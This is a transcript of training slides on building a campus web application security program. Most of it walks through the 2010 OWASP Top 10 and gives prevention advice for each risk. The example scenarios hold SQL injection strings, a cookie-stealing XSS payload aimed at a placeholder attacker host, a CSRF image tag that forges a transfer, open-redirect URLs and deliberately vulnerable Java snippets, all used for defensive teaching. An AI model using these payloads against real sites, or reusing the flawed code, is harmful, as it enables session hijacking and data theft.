Transcript Application Security

Web Application Security Program
What it means & Why you need it
Presenters
Anil Ninan
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Jeremy Heydman
Jim Nelson
Applications are under attack
• 75% of attacks are at the Application Level - Gartner
• 95% of all vulnerabilities are in software - NIST
• 7 out of 10 web sites have serious vulnerabilities - White
Hat Security
• 62% of organizations have experienced a security breach
in the past 12 months - Forrester
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
The Trend
Source:: CENZIC
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Web Application Vulnerability Trend..
Source:: IBM
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Peers In the Headlines…
June 2005
University of Southern California - 270,000
December 2006
University of California - 800,000
December 2006
University of Colorado – 17,500
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
In the Headlines…
May 2009 – 8 Million
Hackers break into Virginia Department of Health
Professions Web Site (Washington Post)
January 2009 – 94 Million
Hackers breach Heartland Payment Credit
Card System (USA Today) 2009
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
What is Web Application Security?
Web Application Security is not specifically:






Antivirus
Vulnerability Scans
Server Security



Firewall/DMZ
IDS / IPS
Patch Management
Web Application Security Safeguards
 Static Analysis
Training for Developers
Secure Development Life Cycle  Dynamic Analysis
 Web Application
Manual/Peer Code Review
Firewall
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Web Application Security
Misconceptions
• The Firewall protects my web application
• SSL secures my site
• The IDS protects my web server and database
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Simplified Web Application Architecture
Firewall
IDS/IPS
The Enterprise
Databases
Web Server
The Internet
80
SSL
Graphics Source: IBM
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
What can be done?.... Program Example
Web Application Security Program
Education & Strategic
Planning
Security Testing
Development
Deployment
Train Development
Staff
Dynamic Analysis
Secure SDLC
Penetration Testing
Inventory of the
Applications
Static Analysis
Threat Modeling
Vulnerability
Assessment
Business Risk Profile
Code Review
Standards /
Compliance
Web Application
Firewall
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Education & Strategic Planning
• Train Development Staff
– Developers are trained to provide
functionality & deliver on-time
• Perform Inventory of Web Applications
– Need to know what is out there
– Create a registration system
– Hold Vendors Accountable
• Create a Business Risk Profile
– Perform risk assessments to identify
high risk assets
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Education & Strategic
Planning
Train Development
Staff
Inventory of the
Applications
Business Risk Profile
Security Testing
• Dynamic Analysis
– Web Application Scanner
Security Testing
• Static Analysis
– Tool Based Code Review
• Manual Code Review
Dynamic Analysis
Static Analysis
– Peer Review
Code Review
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Development
• Secure Software Development Life Cycle
– Build Security Touch Points in the
Development Process
Development
• Threat Modeling
– Identify relevant threats, vulnerabilities
and counter measures
• Standards and Compliance
– Secure Coding Best Practices, Standards,
Guidelines etc..
– MGDPA, FERPA, PCI etc..
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Secure SDLC
Threat Modeling
Standards /
Compliance
Deployment
• Vulnerability Assessment
– Find the Vulnerabilities
Deployment
• Penetration Testing
– Exploit the vulnerabilities
•
Web Application Firewall
– Buys time to fix the vulnerability
Penetration Testing
Vulnerability
Assessment
Web Application
Firewall
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Building Security into SDLC – Touch-points
Iterative approach
Security
requirements
Design
Review
Risk
analysis
Requirements
and use cases
Design
Source: OWASP
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Risk-based
security tests
Test plans
Code
Review
Static
analysis
(tools)
Code
Penetration
testing
Test
results
Field
feedback
OWASP Top 10
• Arguably ‘the’ place to start for learning about
application security risks.
• Updated for 2010
• What is OWASP?
–
–
http://www.owasp.org
Open Web Application Security Project, a non-profit
worldwide charitable organization focused on improving
the security of application software.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
OWASP Top 10
•
•
•
•
Definition
Example Attack Scenario(s)
Impact
Prevention
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A1. Injection Flaws
Definition
• Injection flaws occur when un-trusted data is sent to an
interpreter as part of a command or query. The attacker’s hostile
data can trick the interpreter into executing unintended
commands or accessing unauthorized data.
• Various flavors of injection flaws: SQL, OS, LDAP to name a few.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A1. Injection Flaws
Example Attack Scenario
String query =
"SELECT * FROM accounts WHERE custID='" + request.getParameter("id") +"'";
The attacker modifies the ‘id’ parameter in their browser to send: ' or '1'='1. This
changes the meaning of the query to return all the records from the accounts
database, instead of only the intended customer’s.
http://example.com/app/accountView?id=' or '1'='1
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A1. Injection Flaws
Impact (Severe)
•
•
•
•
Data loss or corruption
Lack of accountability
Denial of access
In certain cases could lead to complete takeover of
host
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A1. Injection Flaws
Prevention
• Do not trust data from clients, validate all input.
• Use parameterized APIs whenever possible, e.g. SQL
prepared statements
• If parameterized API not available, use escaping
routines before sending data to the interpreter/shell.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A2. Cross-Site Scripting (XSS)
Definition
• XSS flaws occur whenever an application takes un-trusted data
and sends it to a web browser without proper validation and
escaping. XSS allows attackers to execute scripts in the victim’s
browser which can hijack user sessions, deface web sites, or
redirect the user to malicious sites.
• Three types – stored, reflected, and DOM based XSS.
• The most prevalent web application security flaw.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A2. Cross-Site Scripting (XSS)
Example Attack Scenario
(String) page +=
"<input name='creditcard' type= 'TEXT' value='" + request.getParameter("CC") + "'>";
The attacker modifies the 'CC' parameter in their browser to:
'><script>document.location='http://www.attacker.com/cgibin/cookie.cgi?foo='+document.cookie</script>'.
This causes the victim’s session ID to be sent to the attacker’s website, allowing
the attacker to hijack the user’s current session.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A2. Cross-Site Scripting (XSS)
Impact (Moderate)
• Attacker can execute scripts in a victim’s browser, which can
open the door to:
– Hijacking the user’s session
– Defacing the web site
– Insertion of hostile content
– Redirecting the user to another site
– Attempting to install malware on the user’s machine
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A2. Cross-Site Scripting (XSS)
Prevention
• Escape/encode all data that is written to a web page.
– <script>alert('got you');</script> (raw html)
– &lt;script&gt;alert('got you')&lt;/script&gt; (encoded html)
• Do not trust data from clients, validate all input.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A3. Broken Authentication and Session
Management
Definition
• Application functions related to authentication and session
management are often not implemented correctly, allowing
attackers to compromise passwords, keys, session tokens, or
exploit other implementation flaws to assume other users’
identities.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A3. Broken Authentication and Session
Management
Example Attack Scenarios
• Application’s timeouts aren’t set properly. User uses a public
computer to access site. Instead of selecting “logout” the user
simply closes the browser tab and walks away. Attacker uses the
same browser an hour later, and that browser is still
authenticated.
• Attacker gains access to the system’s password database. User
passwords are not encrypted, exposing every users’ password to
the attacker.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A3. Broken Authentication and Session
Management
Impact (Severe)
• Such flaws may allow some or even all accounts to be attacked.
• Once successful, the attacker can do anything the victim could
do.
• Privileged accounts are frequently targeted.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A3. Broken Authentication and Session
Management
Prevention
• A single set of strong authentication and session management
controls. Such controls should strive to:
– Meet the requirements defined in OWASP’s Application Security
Verification Standard(ASVS).
– Have a simple interface for developers. Consider the ESAPI Authenticator
and User APIs as good examples to emulate, use, or build upon.
• Strong efforts should also be made to avoid XSS flaws which can
be used to steal session IDs. See A2.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A4. Insecure Direct Object References
Definition
• A direct object reference occurs when a developer exposes a
reference to an internal implementation object, such as a file,
directory, or database key. Without an access control check or
other protection, attackers can manipulate these references to
access unauthorized data.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A4. Insecure Direct Object References
Example Attack Scenario
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt=connection.prepareStatement(query , … );
pstmt.setString( 1, request.getparameter("acct"));
ResultSet results = pstmt.executeQuery( );
The attacker simply modifies the 'acct' parameter in their browser to send
whatever account number they want. If not verified, the attacker can access any
user’s account, instead of only the intended customer’s account.
http://example.com/app/accountInfo?acct=notmyacct
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A4. Insecure Direct Object References
Impact (Moderate)
• Such flaws can compromise all the data that can be referenced
by the parameter.
• Unless the namespace is sparse, it’s easy for an attacker to
access all available data of that type.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A4. Insecure Direct Object References
Prevention
• Use per-user or session indirect object references. This prevents
attackers from directly targeting unauthorized resources by
knowing actual keys.
• Check access. Each use of a direct object reference from an
untrusted source must include an access control check to ensure
the user is authorized for the requested object.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A5. Cross-Site Request Forgery (CSRF)
Definition
• A CSRF attack forces a logged-on victim’s browser to send a
forged HTTP request, including the victim’s session cookie and
any other automatically included authentication information, to a
vulnerable web application.
• This allows the attacker to force the victim’s browser to generate
requests the vulnerable application thinks are legitimate requests
from the victim.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A5. Cross-Site Request Forgery (CSRF)
Example Attack Scenario
The application allows a user to submit a state changing request that does not
include anything secret.
http://example.com/app/transferFunds?amount=150&destinationAccount=467
The attacker constructs a request that will transfer money from the victim’s
account to their account, and then embeds this attack in an image request or
iframe stored on various sites under the attacker’s control.
<imgsrc="http://example.com/app/transferFunds?amount=1500&destinationA
ccount=attackersAcct#“width="0" height="0" />
If the victim visits any of these sites while already authenticated to example.com,
any forged requests will include the user’s session info, inadvertently authorizing
the request.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A5. Cross-Site Request Forgery (CSRF)
Impact (Moderate)
• Attackers can cause victims to change any data the
victim is allowed to change or perform many function
the victim is authorized to use.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A5. Cross-Site Request Forgery (CSRF)
Prevention
• Preventing CSRF requires the inclusion of a unpredictable token
in the body or URL of each HTTP request. Such tokens should at a
minimum be unique per user session, but can also be unique per
request.
– The preferred option is to include the unique token in a hidden field. This
causes the value to be sent in the body of the HTTP request, avoiding its
inclusion in the URL, which is subject to exposure.
• OWASP’s CSRF Guardcan be used to automatically include such
tokens in your Java EE, .NET, or PHP application. OWASP’s ESAPI
includes token generators and validators that developers can use
to protect their transactions.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A6. Security Misconfiguration
Definition
• Good security requires having a secure configuration defined and
deployed for the application, frameworks, application server,
web server, database server, and platform.
• All these settings should be defined, implemented, and
maintained as many are not shipped with secure defaults. This
includes keeping all software up to date, including all code
libraries used by the application.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A6. Security Misconfiguration
Example Attack Scenarios
• Scenario #1: Your application relies on a powerful framework like
Struts or Spring. XSS flaws are found in these framework
components you rely on. An update is released to fix these flaws
but you don’t update your libraries. Until you do, attackers can
easily find and exploit these flaw in your app.
• Scenario #2: The app server admin console is automatically
installed and not removed. Default accounts aren’t changed.
Attacker discovers the standard admin pages are on your server,
logs in with default passwords, and takes over.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A6. Security Misconfiguration
Example Attack Scenarios (cont.)
• Scenario #3: Directory listing is not disabled on your server.
Attacker discovers she can simply list directories to find any file.
Attacker finds and downloads all your compiled Java classes,
which she reverses to get all your custom code. She then find a
serious access control flaw in your application.
• Scenario #4: App server configuration allows stack traces to be
returned to users, potentially exposing underlying flaws.
Attackers love the extra information error messages provide.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A6. Security Misconfiguration
Impact (Moderate)
• Such flaws frequently give attackers unauthorized
access to some system data or functionality.
• Occasionally, such flaws result in a complete system
compromise.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A6. Security Misconfiguration
Prevention
• A repeatable hardening process that makes it fast and easy to
deploy another environment that is properly locked down.
Development, QA, and production environments should all be
configured identically. This process should be automated to
minimize the effort required to setup a new secure environment.
• A process for keeping abreast of and deploying all new software
updates and patches in a timely manner to each deployed
environment. This needs to include all code libraries as well,
which are frequently overlooked.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A6. Security Misconfiguration
Prevention (cont.)
• A strong application architecture that provides good separation
and security between components.
• Consider running scans and doing audits periodically to help
detect future misconfigurations or missing patches.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A7. Insecure Cryptographic Storage
Definition
• Many web applications do not properly protect sensitive data,
such as credit cards, SSNs, and authentication credentials, with
appropriate encryption or hashing. Attackers may steal or modify
such weakly protected data to conduct identity theft, credit card
fraud, or other crimes.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A7. Insecure Cryptographic Storage
Example Attack Scenarios
• Scenario #1: An application encrypts credit cards in a database to
prevent exposure to end users. However, the database is set to
automatically decrypt queries against the credit card columns,
allowing a SQL injection flaw to retrieve all the credit cards in
clear text. The system should have been configured to allow only
back end applications to decrypt them, not the front end web
application.
• Scenario #2: A backup tape is made of encrypted health records,
but the encryption key is on the same backup. The tape never
arrives at the backup center.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A7. Insecure Cryptographic Storage
Example Attack Scenarios (cont.)
• Scenario #3: The password database uses unsalted hashes to
store everyone’s passwords. A file upload flaw allows an attacker
to retrieve the password file. All the unsalted hashes can be brute
forced in 4 weeks, while properly salted hashes would have taken
over 3000 years.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A7. Insecure Cryptographic Storage
Impact (Moderate)
• Failure frequently compromises all data that should have been
encrypted. Typically this information includes sensitive data such
as health records, credentials, personal data, credit cards, etc.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A7. Insecure Cryptographic Storage
Prevention
• Considering the threats you plan to protect this data from (e.g.,
insider attack, external user), make sure you encrypt all such data
at rest in a manner that defends against these threats.
• Ensure offsite backups are encrypted, but the keys are managed
and backed up separately.
• Ensure appropriate strong standard algorithms and strong keys
are used, and key management is in place.
• Ensure passwords are hashed with a strong standard algorithm
and an appropriate salt is used.
• Ensure all keys and passwords are protected from unauthorized
access.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A8. Failure to Restrict URL Access
Definition
• Many web applications check URL access rights before rendering
protected links and buttons. However, applications need to
perform similar access control checks each time these pages are
accessed, or attackers will be able to forge URLs to access these
hidden pages anyway.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A8. Failure to Restrict URL Access
Example Attack Scenario
The attacker simply force browses to target URLs. Consider the following URLs
which are both supposed to require authentication. Admin rights are also
required for access to the “admin_getappInfo” page.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
If the attacker is not authenticated, and access to either page is granted, then
unauthorized access was allowed. If an authenticated, non-admin, user is allowed
to access the “admin_getappInfo” page, this is a flaw, and may lead the attacker
to more improperly protected admin pages. Such flaws are frequently introduced
when links and buttons are simply not displayed to unauthorized users, but the
application fails to protect the pages they target.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A8. Failure to Restrict URL Access
Impact (Moderate)
• Such flaws allow attackers to access unauthorized functionality.
• Administrative functions are key targets for this type of attack.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A8. Failure to Restrict URL Access
Prevention
• Select an approach for requiring proper authentication and
proper authorization for each page. Frequently, such protection is
provided by one or more components external to the application
code. Regardless of the mechanism(s), all of the following are
recommended:
– The authentication and authorization policies be role based, to minimize
the effort required to maintain these policies.
– The policies should be highly configurable, in order to minimize any hard
coded aspects of the policy.
– The enforcement mechanism(s) should deny all access by default,
requiring explicit grants to specific users and roles for access to every page
– If the page is involved in a workflow, check to make sure the conditions are
in the proper state to allow access.
•
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A9. Insufficient Transport Layer
Protection
Definition
• Applications frequently fail to authenticate, encrypt, and protect
the confidentiality and integrity of sensitive network traffic.
When they do, they sometimes support weak algorithms, use
expired or invalid certificates, or do not use them correctly.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A9. Insufficient Transport Layer
Protection
Example Attack Scenarios
• Scenario #1: A site simply doesn’t use SSL for all pages that
require authentication. Attacker simply monitors network traffic
(like an open wireless or their neighborhood cable modem
network), and observes an authenticated victim’s session cookie.
Attacker then replays this cookie and takes over the user’s
session.
• Scenario #2: A site has improperly configured SSL certificate
which causes browser warnings for its users. Users have to accept
such warnings and continue, in order to use the site. This causes
users to get accustomed to such warnings.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A9. Insufficient Transport Layer
Protection
Impact (Moderate)
• Such flaws expose individual users’ data and can lead to account
theft.
• If an admin account was compromised, the entire site could be
exposed.
• Poor SSL setup can also facilitate phishing and MITM attacks.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A9. Insufficient Transport Layer
Protection
Prevention
• Providing proper transport layer protection can affect the site design. It’s
easiest to require SSL for the entire site. For performance reasons, some sites
use SSL only on private pages. Others use SSL only on ‘critical’ pages, but this
can expose session IDs and other sensitive data. At a minimum, do all of the
following:
– Require SSL for all sensitive pages. Non-SSL requests to these pages should
be redirected to the SSL page.
– Set the ‘secure’ flag on all sensitive cookies.
– Configure your SSL provider to only support strong (e.g., FIPS 140-2
compliant) algorithms.
– Ensure your certificate is valid, not expired, not revoked, and matches all
domains used by the site.
– Backend and other connections should also use SSL or other encryption
technologies.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A10. Unvalidated Redirects and Forwards
Definition
• Web applications frequently redirect and forward users to other
pages and websites, and use untrusted data to determine the
destination pages. Without proper validation, attackers can
redirect victims to phishing or malware sites, or use forwards to
access unauthorized pages.
• A favorite target of phishers trying to gain the user’s trust
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A10. Unvalidated Redirects and Forwards
Example Attack Scenarios
• Scenario #1: The application has a page called “redirect.jsp” which takes a
single parameter named “url”. The attacker crafts a malicious URL that
redirects users to a malicious site that performs phishing and installs malware.
http://www.example.com/redirect.jsp?url=evil.com
• Scenario #2: The application uses forward to route requests between different
parts of the site. To facilitate this, some pages use a parameter to indicate
where the user should be sent if a transaction is successful. In this case, the
attacker crafts a URL that will pass the application’s access control check and
then forward the attacker to an administrative function that she would not
normally be able to access.
http://www.example.com/boring.jsp?fwd=admin.jsp
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A10. Unvalidated Redirects and Forwards
Impact
• Such redirects may attempt to install malware or trick victims into
disclosing passwords or other sensitive information.
• Unsafe forwards may allow access control bypass.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
A10. Unvalidated Redirects and Forwards
Prevention
• Safe use of redirects and forwards can be done in a number of
ways:
– Simply avoid using redirects and forwards, if possible.
– If used, don’t involve user parameters in calculating the destination. This
can usually be done.
• If destination parameters can’t be avoided, ensure that the
supplied value is valid, and authorized for the user.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Establish the Foundation
The 3 Pillars:
• Knowledge
– We don’t know what we don’t know
• Risk Assessment
– Business Risk - Criticality to operations, privacy, etc.
– Application Vulnerabilities
• Best-Practices
– Secure coding practices
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Establish the Foundation – Cont.
• Knowledge
– Known vulnerabilities & Secure coding practices
• Perform Risk Assessment
– Classify Applications Criticality/Security Exposure
– Stop The Bleeding - Identify the Vulnerabilities
• Static Analysis / Dynamic Analysis / Penetration Testing
– Address high risk applications first - Applications facing the
internet, apps with private data etc.
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Establish the Foundation
• Best-Practices (Security Touch-points)
– Tools – Static & Dynamic Analysis
– Process – Code Review, Threat Modeling
– Standards / Guidelines – Consistent development
practices that includes security
– Web Application Firewalls
“Security is a journey, not a destination”
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Past and Current Initiatives
•
•
•
•
•
Pilot – FY09
Summary Report – Pilot Results
Training – Conducted 2day courses
Veracode – Security as a Service (Enterprise)
Software Security Task Force
– SMEs – define MnSCU specific secure coding
practices – standards/guidelines & process
– Identify short & long-term plan / initiatives
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Discussion Topics
How much application development are you doing on
campus?
How much development is out-sourced to a 3rd party?
Current state? – Any processes used to include security
in your SDLC? If yes, what types of practices?
What would be your challenges to address web
application security issues?
– Training – Understanding vulnerabilities, secure coding
practices, additional skills you would need?
– Buy-in from Management and/or others?
– Tools – additional costs?
Other questions?
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Thank You
Anil Ninan
Security Specialist
Information Security Office
651-201-1534
[email protected]
Jeremy Heydman
Technical Lead Analyst
Enterprise SW & Development
320-223-6264
[email protected]
Jim Nelson
Sr. Consultant (Midwave)
Information Security Office
651-201-1566
[email protected]
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Tools - Static Analysis Vendors
•
•
•
•
•
Veracode (www.Veracode.com)
Fortify (www.Fortify.com)
Coverity (www.coverity.com)
KlocWork (www.KlocWork.com)
Ounce Labs (www.ouncelabs.com)
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Tools - Dynamic Analysis Vendors
• IBM - Rational Appscan (www.ibm.com)
• HP – WebInspect (www.hp.com)
• Ntobjectives – NTOSpider
(www.ntobjectives.com)
• Cenzic – Hailstorm (www.cenzic.com)
• Whitehat Security – (www.whitehatsec.com)
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Tools - Web Application Firewall
• WebDefend - Breach (www.breach.com)
• ModSecurity - Open Source (www.modsecurity.org) support
offered by Breach
• SecureSphere - Imperva (www.imperva.com)
• Application Security Manager - F5 (www.f5.com)
• Citrix Application Firewall - Citrix (www.citrix.com)
• Web Security – Checkpoint (www.checkpoint.com)
• Cisco ACE - Cisco (www.cisco.com)
• Fortify Real-Time Analyzer (www.fortify.com)
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/
Resources
• www.owasp.org
– OWASP Top 10
– Web Goat
– Development Guide
– Tools
• www.sans.org
– SANS TOP 25 Programming Errors
• www.webappsec.org
– Web Application Security Consortium
Access more information security training for
campus technical staff and earn CEUs:
its.mnscu.edu/security/training/